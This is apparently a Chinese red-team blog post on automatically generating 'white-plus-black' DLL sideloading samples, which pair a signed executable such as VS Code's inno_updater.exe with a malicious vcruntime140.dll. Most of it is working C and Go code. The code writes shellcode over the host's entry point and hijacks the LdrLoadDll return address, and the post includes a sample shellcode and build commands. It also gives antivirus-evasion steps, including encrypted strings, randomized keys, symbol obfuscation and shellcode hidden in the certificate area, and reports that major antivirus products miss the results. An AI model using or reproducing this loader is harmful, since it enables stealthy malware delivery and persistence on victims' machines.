红队开发 - 白加黑自动化生成器
参考一些APT组织的攻击手法,它们在投递木马阶段有时候会使用“白加黑”的方式,通常它们会使用一个带有签名的白文件+一个自定义dll文件,所以研究了一下这种白加黑的实现方式以及如何将它自动化生成。
想法
最早源于知识星球的一个想法,利用一些已知的dll劫持的程序作为”模板”,自动生成白加黑的程序。
之后在看到了SigFlip
的原理后 SigFlip使用和原理
有了这么一个想法,将shellcode写入到签名文件中的不被签名区域,黑dll的作用仅仅是读取白文件中的dll并执行。
同时制作几个白加黑的“模板”,可以根据不同的模板生成不同的白加黑样本。
概念图:
DLL劫持方式
大部分dll劫持只是在dll层面做一层转发,这样投递的话,要将整个软件一起打包,不然程序会运行出错。
而一些APT组织使用的白加黑样本仅仅只需要一个白文件和一个dll,所以dll的劫持方式和通常使用的是不一样的。
简单来说,我们需要让dll加载起来执行命令的同时,阻止它执行原程序的命令,总结了一下,一共有两种类型的dll需要处理,一种dll是存在于白程序的输入表中,一种是白程序输入表中不存在dll,但是它通过LoadLibrary
进行加载的dll。
Pre-Load Dll 劫持
如果dll在白程序的输入表中,我称这种为pre-load dll
(我自己发明的词语)。因为输入表的dll会优先于白程序运行,所以在dll在初始化时,可以先获取shellcode,然后对白程序的入口点进行改写,改写为执行shellcode即可。
用Vscode的更新程序inno_updater.exe
作为例子
inno_updater.exe在运行时会带起vcruntime140.dll
,所以它可以作为劫持的dll。
根据它输入表dll的导出函数,我们自动生成一份对应的导出函数,导出函数不需要任何功能,只要函数名称和它对应上即可。
之后在dllmain里面获取主程序的入口点,然后将shellcode写入入口点,之后主程序运行就会执行我们的shellcode了。
C代码如下
int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
hello_func();
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void hello_func(){
DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);
DWORD entryPoint = (DWORD)baseAddress + ntHeader->OptionalHeader.AddressOfEntryPoint;
DWORD old;
VirtualProtect(entryPoint, size, 0x40, &old);
for(int i=0;i<size;i++){
*((PBYTE)entryPoint+i) = shellcode[i];
}
VirtualProtect(entryPoint, size, old, &old);
}
Post-Load Dll劫持
dll在主程序导入表没有,而是程序通过LoadLibrary
动态调用的,我称这类dll为post-load
类型(我自己发明的词语)。
当程序使用LoadLibrary
进行加载的时候,它的调用堆栈类似以下
KernelBase!LoadLibraryExW <- 要求动态模块加载
ntdll!LdrLoadDll
ntdll!LdrpLoadDll
ntdll!LdrpLoadDllInternal
ntdll!LdrpPrepareModuleForExecution
ntdll!LdrpInitializeGraphRecurse <- 建立依赖关系图
ntdll!LdrpInitializeNode
ntdll!LdrpCallInitRoutine
evil!DllMain <- 执行被传递给外部代码
所以此类dll劫持的,可以通过劫持ntdll
的LdrLoadDll
堆栈的返回地址,让程序LoadLibrary之后跳到我们的程序空间。
C语言代码
char evilstring[10] = {0x90};
DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandle("ntdll"), "LdrLoadDll");
DWORD* stack =evilstring+(int)evilstring%4;
while (1)
{
stack++;
if(stack > ldrLoadDll + 0x1000){
printf("over\n");
break;
}
if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {
*stack = (DWORD)Memory;
break;
}
}
你可以使用内嵌汇编的方式获得堆栈地址,我使用C语言的一个特性,我申明了一个小的变量
char evilstring[10] = {0x90};
C语言会自动将它放到堆栈中,所以这个变量的地址即是堆栈的地址了。接着从堆栈向上寻找地址,如果发现地址和LdrLoadDll
相差不多的话,就是我们寻找的LdrLoadDll
的返回地址,hook它即可获得代码的执行权。
Golang与自动生成
我想用Golang编写劫持的dll,这样也方便可以做成在线平台。
C代码转换为Go
读取PE入口点用来写shellcode,用Windows API GetModuleHandle
可以得到PE进程的内存地址,根据内存地址加减偏移就可以得到入口点。
我原本使用了github.com/Binject/debug/pe
库,它里面有一个pe.NewFileFromMemory()
函数,可以直接从内存中读取,但是它的参数是需要一个io
类型,文件的io自身有很多api,但是对内存的io,资料好少。
最后找了很多资料,发现只能自己实现io的接口
type ReaderAt interface {
ReadAt(p []byte, off int64) (n int, err error)
}
但问题来了,ReadAt
接口要求我们自己读完了就返回io.EOF
,我是从内存空间读的,我不知道什么时候读完。
就这么纠结了好久,虽然现在写的时候想到了,我可以实现这个ReadAt
,长度我可以生成模板的时候硬写进去,但又感觉没必要,因为我根据PE的偏移写好了。
直接就不用它的库了,手动根据偏移去寻找入口点。
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
getModuleHandle = kernel32.NewProc("GetModuleHandleW")
procVirtualProtect = kernel32.NewProc("VirtualProtect")
)
func GetModuleHandle() (handle uintptr) {
ret, _, _ := getModuleHandle.Call(0)
handle = ret
return
}
// 将shellcode写入程序ep
func loader_from_ep(shellcode []byte) {
baseAddress := GetModuleHandle()
fmt.Println(strconv.FormatInt(int64(baseAddress), 16))
// pe读dos header
ptr := unsafe.Pointer(baseAddress + uintptr(0x3c))
v := (*uint32)(ptr)
ntHeaderOffset := *v
//ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(0x4))
//v2 := (*uint16)(ptr)
// 这个可以读取PE的架构信息,最后发现入口点的偏移都是固定的
// x32和x64通用
ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40))
ep := (*uint32)(ptr)
fmt.Println(ep, *ep)
var entryPoint uintptr
entryPoint = baseAddress + uintptr(*ep)
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
WriteMemory(shellcode, entryPoint)
if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
}
Go实现DllMain
DllMain是dll在创建或退出时的消息函数,要把shellcode写入PE的入口点,就必须在这里执行代码。但是Go里面没有这样相关的定义,搜索资料,有人说用init()
函数可以,我试了下,init()
函数执行是在代码运行的时候加载的,也就是pe运行了,执行到了相关导出函数的时候,会先执行init()
代码,但是这个时候写shellcode到PE头部就已经没用了。
最后发现了怎么做,就是混编C和Go,而且比较麻烦。
dllmain.go
package main
//#include "dllmain.h"
import "C"
dllmain.h
#include <windows.h>
extern void test();
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved) // reserved
{
switch (_fdwReason) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, test, NULL, 0, NULL);
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
}
return TRUE; // Successful.
}
main.go
package main
import "C"
import (
"encoding/hex"
"fmt"
"strconv"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
MEM_RELEASE = 0x8000
PAGE_READWRITE = 0x04
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
getModuleHandle = kernel32.NewProc("GetModuleHandleW")
procVirtualProtect = kernel32.NewProc("VirtualProtect")
)
//WriteMemory writes the provided memory to the specified memory address. Does **not** check permissions, may cause panic if memory is not writable etc.
func WriteMemory(inbuf []byte, destination uintptr) {
for index := uint32(0); index < uint32(len(inbuf)); index++ {
writePtr := unsafe.Pointer(destination + uintptr(index))
v := (*byte)(writePtr)
*v = inbuf[index]
}
}
func GetModuleHandle() (handle uintptr) {
ret, _, _ := getModuleHandle.Call(0)
handle = ret
return
}
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
// 将shellcode写入程序ep
func loader_from_ep(shellcode []byte) {
baseAddress := GetModuleHandle()
ptr := unsafe.Pointer(baseAddress + uintptr(0x3c))
v := (*uint32)(ptr)
ntHeaderOffset := *v
ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40))
ep := (*uint32)(ptr)
var entryPoint uintptr
entryPoint = baseAddress + uintptr(*ep)
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
WriteMemory(shellcode, entryPoint)
if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
}
//export _except_handler4_common
func _except_handler4_common() {}
//export memcmp
func memcmp() {}
//export memcpy
func memcpy() {}
//export memset
func memset() {}
//export memmove
func memmove() {}
//export test
func test() {
shellcode, err := hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300") // calc的shellcode
if err != nil {
panic(err)
}
loader_from_ep(shellcode)
}
func main() {
}
编译脚本 (Windows上)
set GOOS=windows
set GOARCH=386
set CGO_ENABLED=1
go build -ldflags "-s -w" -o vcruntime140.dll -buildmode=c-shared
Golang与死锁
在DllMain DLL_PROCESS_ATTACH的时候,我想调用go里面的test
函数,我必须使用线程。。如果直接调用,不使用线程的话,它会一直卡住,用od调试,发现它卡在了死锁上。。
Go程序内部调用了wait
用了CreateThread可以,但是这个时候它是先执行了入口点,而我们之前Pre-load
的方式要求dll要在白程序之前执行。
我的解决方式是在白程序入口点写入死循环代码,同时启动一个线程执行go函数。
死循环的代码就随便发挥了
77C71B73 50 push eax
77C71B74 58 pop eax
77C71B75 ^ EB FC jmp short 77C71B73
消失的代码
有了之前被死锁的经验,post-load
类型的dll我这样写的,用C代码搜索堆栈,如果找到了LdrLoadDll
堆栈函数范围的地址则直接把堆栈地址修改成go函数的地址。
cgo中dllmain.h代码,因为测试了几次发现不行,加了个MessageBoxW
代码方便调试。
#include <windows.h>
extern void test();
void dlljack2(){
char evilstring[10] = { 0x90 };
DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandleA("ntdll"), "LdrLoadDll");
DWORD* stack = (DWORD)evilstring + (DWORD)evilstring % 4;
while (1)
{
stack++;
if ((DWORD)stack > ldrLoadDll + 0x1000) {
break;
}
if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {
*stack = (DWORD)test;
MessageBoxW(0,0,0,0);
break;
}
}
}
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved) // reserved
{
switch (_fdwReason) {
case DLL_PROCESS_ATTACH:
MessageBoxW(0,0,0,0);
dlljack2();
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
}
return TRUE; // Successful.
}
测试了几次发现不行,于是我用ida看了下代码。
*stack = (DWORD)test;
我的这行代码将test函数地址赋值给堆栈的代码竟然凭空消失了。
很百思不得其解,难道编译器不认识语法将代码给优化了?顺着这个思路,我换成用memcpy
进行内存赋值,代码也没出现。
最后加上一个printf,代码就出现了。。
自动化生成器
前面核心的内容跑通了,后面自动化生成就是理所当然的,这方面没什么困难的,就是注意一下加一些对抗的东西,比如生成的源码里面的字符串全部加密,用于加解密shellcode的key全部随机化生成。将源码一起打包,并告诉编译方式,这样即使生成的dll被杀了也没关系,自己改改又可以继续了。
一些核心功能:
- 收集一些白加黑文件,制作成模板
- 解析白文件pe,将shellcode写入证书目录
- 根据模板来生成劫持dll
- go-strip进行符号混淆
- docker环境进行交叉编译
- 自动调用go命令进行编译
- 自动打包成zip
生成的文件会包含:
- 成品的白加黑文件
- 用于dll劫持的go源码文件,方便自行进行一些处理
- readme说明文件,说明了每个文件的作用以及编译方法
杀毒测试
测试了国内的几个都不杀,卡巴静态也能过,windows defender 也不杀也能正常上线。
并且白进程会一直驻留。